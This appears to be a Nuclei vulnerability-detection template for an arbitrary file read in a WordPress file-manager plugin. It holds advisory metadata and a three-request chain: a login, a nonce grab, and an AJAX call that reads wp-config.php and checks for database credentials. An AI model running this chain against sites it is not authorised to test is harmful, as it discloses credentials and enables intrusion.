WordPress Advanced File Manager < 5.4.13 - Arbitrary File Read

id: CVE-2026-11565

info:
  name: WordPress Advanced File Manager < 5.4.13 - Arbitrary File Read
  author: anirbala98
  severity: high
  description: |
    The Advanced File Manager WordPress plugin before 5.4.13 does not perform capability checks in several of its file management AJAX actions, allowing users with any role to which an administrator has granted file-manager access (as low as Subscriber) to read arbitrary files on the server.
  impact: |
    Authenticated attackers with Subscriber-level privileges can disclose local files, including configuration files that contain database credentials and authentication keys.
  remediation: |
    Update to version 5.4.13 or later.
  reference:
    - https://wpscan.com/vulnerability/5e03858d-db0b-4b65-99cc-eb01ad4195e9/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-11565
    - https://wordpress.org/plugins/file-manager-advanced/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 8.5
    cve-id: CVE-2026-11565
    epss-score: 0.00323
    epss-percentile: 0.25064
    cwe-id: CWE-862
  metadata:
    verified: true
    max-request: 3
    vendor: saad-iqbal
    product: file-manager-advanced
    framework: wordpress
    fofa-query: body="/wp-content/plugins/file-manager-advanced/"
  tags: cve,cve2026,wordpress,wp,wp-plugin,file-read,authenticated,file-manager-advanced,vkev

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "wordpress_logged_in")
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=file_manager_advanced_ui HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: nonce
        part: body
        group: 1
        regex:
          - 'var afm_object = \{[^}]*"nonce":"([a-f0-9]+)"'
        internal: true

  - raw:
      - |
        GET /wp-admin/admin-ajax.php?action=fma_load_fma_ui&_fmakey={{nonce}}&cmd=get&target=l1_d3AtY29uZmlnLnBocA HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "DB_NAME", "DB_PASSWORD")'
        condition: and
# digest: 4b0a004830460221008fb73b9a84879d72a0e3d192fd175d3fd4dd7574093934e2adf0f4fb0083cf15022100840f71ce12e227a79c57822f58e38625a90bcd59cb1e354d9fe485f899d6f3ef:922c64590222798bb761d5b6d8e72950